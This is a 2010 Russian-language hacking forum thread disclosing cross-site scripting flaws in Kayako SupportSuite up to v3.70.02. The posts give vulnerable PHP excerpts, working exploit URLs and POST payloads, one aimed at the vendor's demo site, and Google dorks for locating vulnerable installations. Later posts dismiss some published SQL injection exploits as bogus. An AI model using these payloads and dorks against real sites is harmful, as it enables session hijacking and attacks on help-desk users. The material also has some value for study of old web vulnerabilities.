Старый 15.08.2010, 18:11   #1
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию Kayako SupportSuite

Продукт: Kayako SupportSuite <= v3.70.02 Active XSS
Офф сайт: www.kayako.com
Зависимости: Нет
Уязвимые файлы: /modules/livesupport/visitor_htmlcode.php
Уязвимый кусок кода:

Файл /modules/livesupport/visitor_updatefootprint.php:
PHP код:
// Try to get the session
if (!$session->fetchSession($_GET["sessionid"], SESSION_VISITOR))
{
    
$isbanned checkBannedStatus(true);
    if (!
$isbanned)
    {
        
$session->insertSession(SESSION_VISITOR0$_GET["sessionid"], true);
        
$_GET["isfirsttime"] = 1;
    }


Файл functions.php:
PHP код:
   public function insertSession$sessiontype$typeid 0$customsessionid ""$noshutdown false )
    {
        global 
$dbCore;
        global 
$_SWIFT;
        global 
$cookie;
        if ( 
$customsessionid != "" )
        {
            
$sessionid $customsessionid;
        }


      . . . .


        if ( 
$sessiontype != SESSION_CHAT )
        {
            
$_SWIFT['sessionid'] = $sessionid;
            
$_SWIFT['session']['sessionid'] = $sessionid;
            
$_SWIFT['session']['ipaddress'] = $_SERVER['REMOTE_ADDR'];
            
$_SWIFT['session']['lastactivity'] = DATENOW;
            
$_SWIFT['session']['useragent'] = $_SERVER['HTTP_USER_AGENT'];
            
$_SWIFT['session']['isloggedin'] = "1";
            
$_SWIFT['session']['sessiontype'] = $sessiontype;
            
$_SWIFT['session']['typeid'] = $typeid;
            
$_SWIFT['session']['dateline'] = DATENOW;
            
$cookie->setSCookie"sessionid".$sessiontype$sessionid );
        }
        return 
$sessionid;
    } 
Файл /modules/livesupport/visitor_htmlcode.php:
PHP код:
$cookiesessionid = $cookie->getSCookie("sessionid".SESSION_VISITOR);
if (trim($cookiesessionid) == "")
{
    $sessionid = $session->insertSession(SESSION_VISITOR);
} else {
    $sessionid = $cookiesessionid;
}

. . . . . . 

var sessionid_<?php echo $_variablesuffix?> = "<?php echo $sessionid?>";

Exploit:
http://demo.kayako.com/supportsuite/visitor/index.php?_m=livesupport&_a=updatefootprint&sessio nid=%22;alert('hehehe');//&isfirsttime=1

sessionid запишется в кукисы и будет инжектится, при посещении Kayako SupportSuite, в:
PHP код:
<script language="javascript" src="http://localhost/kayako/visitor/index.php?_m=livesupport&_a=htmlcode&departmentid=0&fullname=&email="></script> 
[-] Атакуемый должен обновить страницу или очистить кэш, чтобы закешился новый JS.

Dork:
"powered by Kayako SupportSuite"
"Help Desk Software by Kayako SupportSuite"

Последний раз редактировалось (dm); 19.08.2010 в 02:17.. Причина: изменение заголовка
asddas вне форума   Ответить с цитированием
Старый 18.08.2010, 17:05   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Эх, вот бы инъекцию в нем или инклуд, но прошерстил весь код - явного ничего нет.
Есть правда инклуд в includes\functions_imc.php, но как я понял, этот файл вообще не используется.
Ждем 4ку, может там в связи с большим кол-вом нововведений найдется что-либо.
SynQ вне форума   Ответить с цитированием
Старый 08.09.2010, 10:17   #3
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

Продукт: Kayako SupportSuite <= v3.70.02 Passive XSS
Офф сайт: www.kayako.com
Зависимости: Нет
Уязвимые файлы: /modules/core/client_changepassword.php
Уязвимый кусок кода:

Файл /modules/core/client_changepassword.php:
PHP код:
if (empty($_POST["step"]))
{
    
$template->cache(array('changepassword''header''footer''navbar'));
    
$template->assign("backurl""index.php");
    
$template->assign("sectiontitle"$_SWIFT["language"]["changepassword"]);
    
$template->assign("sectiondesc"$_SWIFT["language"]["changepdesc"]);
    
$template->assign("oldpassword"$_POST["oldpassword"]);
    
$template->assign("newpassword"$_POST["newpassword"]);
    
$template->assign("newpasswordc"$_POST["newpasswordc"]);
    
$template->assign("sid"$_SWIFT["session"]["sessionid"]);
    echo 
$template->displayTemplate("changepassword");

Exploit:
http://localhost/kayako5/index.php?_m=core&_a=changepassword
Post: oldpassword="><script>alert()</script><b&newpassword="><script>alert()</script><b&newpasswordc="><script>alert()</script><b

Dork:
"powered by Kayako SupportSuite"
"Help Desk Software by Kayako SupportSuite"
asddas вне форума   Ответить с цитированием
Старый 21.10.2010, 03:18   #4
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

Продукт: Kayako SupportSuite <= v3.70.02 Passive XSS
Офф сайт: www.kayako.com
Зависимости: Нет
Уязвимые файлы: /includes/Spellcheck/spellchecker.php
Уязвимый кусок кода:

Файл /includes/Spellcheck/spellchecker.php:
PHP код:
$textinputs = $_POST['textinputs']; # array

.    .    .    .

function print_textinputs_var() {
    global $textinputs;
    foreach( $textinputs as $key=>$val ) {
        # $val = str_replace( "'", "%27", $val );
        echo "textinputs[$key] = decodeURIComponent(\"" . $val . "\");\n";
    }
}

.    .    .    .

<?php

print_textinputs_var
();

print_checker_results();

?>
Exploit:
http://localhost/kayako5/includes/Spellcheck/spellchecker.php
Post: textinputs[</script><script>alert(/hehe/);</script><script ]=asddas

Dork:
"powered by Kayako SupportSuite"
"Help Desk Software by Kayako SupportSuite"
asddas вне форума   Ответить с цитированием
Старый 05.11.2010, 06:00   #5
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

http://www.exploit-db.com/exploits/14392/
http://www.packetstormsecurity.org/1...t37002-sql.txt
http://cve.mitre.org/cgi-bin/cvename...=CVE-2010-2911
http://osvdb.org/show/osvdb/66744

Нереал! Файл /modules/news/client_news.php:
PHP код:
else if ($eventaction == "viewnews") {

//. . . . . . . . . . 

    
$_news $dbCore->queryFetch("SELECT * FROM `"TABLE_PREFIX ."news` AS news LEFT JOIN `"TABLE_PREFIX ."newsdata` AS newsdata ON (news.newsid = newsdata.newsid) WHERE news.newsid = '"intval($_REQUEST["newsid"]) ."';");

//. . . . . . . . . . 

Похоже что сплоенты не чекают вовсе =\

Последний раз редактировалось asddas; 05.11.2010 в 13:40..
asddas вне форума   Ответить с цитированием
Старый 05.11.2010, 18:52   #6
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Может просто silent update? Ты каяку для тестов где брал?
tipsy вне форума   Ответить с цитированием
Старый 05.11.2010, 19:26   #7
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Нет, это сразу была чушь. На securityfocus даже висело, что "вендор отрицает наличие данной уязвимости".
SynQ вне форума   Ответить с цитированием
Старый 06.11.2010, 09:19   #8
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

Код имеет такой вид, если не ошибаюсь, уже с версии 3.30.x. Последняя, паблик, слепая скуля была найдена GulfTech Research And Development, больше ничего нету. Даже xss-ки из этой темы 0дей пока
ps Насчёт лажовых сплоитов, особенно на inject0r.com, это не в первый раз замечаю, видимо это круто когда твой бред публикуют, надо будет как нибудь тоже запостить.

//upd

Ещё один fail
Kayako eSupport (functions.php) v3.70.02 SQL Injection Vulnerability
http://www.exploit-db.com/exploits/14404/

Незнаю причём здесь functions.php с downloads и _a, в движке, вообще в запрос к бд не попадает. Делаем выводы

Последний раз редактировалось asddas; 06.11.2010 в 13:58..
asddas вне форума   Ответить с цитированием
Старый 19.11.2010, 10:39   #9
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Вышла 4-ая версия. Переименовали продукты:

SupportSuite is now Kayako Fusion.
LiveResponse is now Kayako Engage.
eSupport is now Kayako Resolve.

На сайте появился free trial.
SynQ вне форума   Ответить с цитированием
Старый 03.03.2011, 13:44   #10
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Сегодня вышло обновление в четвертой ветке (4.01.179), закрывающее какую-то серьезную дырку в версиях 4.01.174, 4.01.175 and 4.01.176.
Адвайзори: http://wiki.kayako.com/display/DOCS/4.01.179
Файл, в котором бага: __swift/library/Controllers/class.Controller_api.php

У кого есть доступ к старой версии файла и новой, может поискать багу.
SynQ вне форума   Ответить с цитированием
Ответ

Метки
каяка, куяка, esupport, supportsuite, xss

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot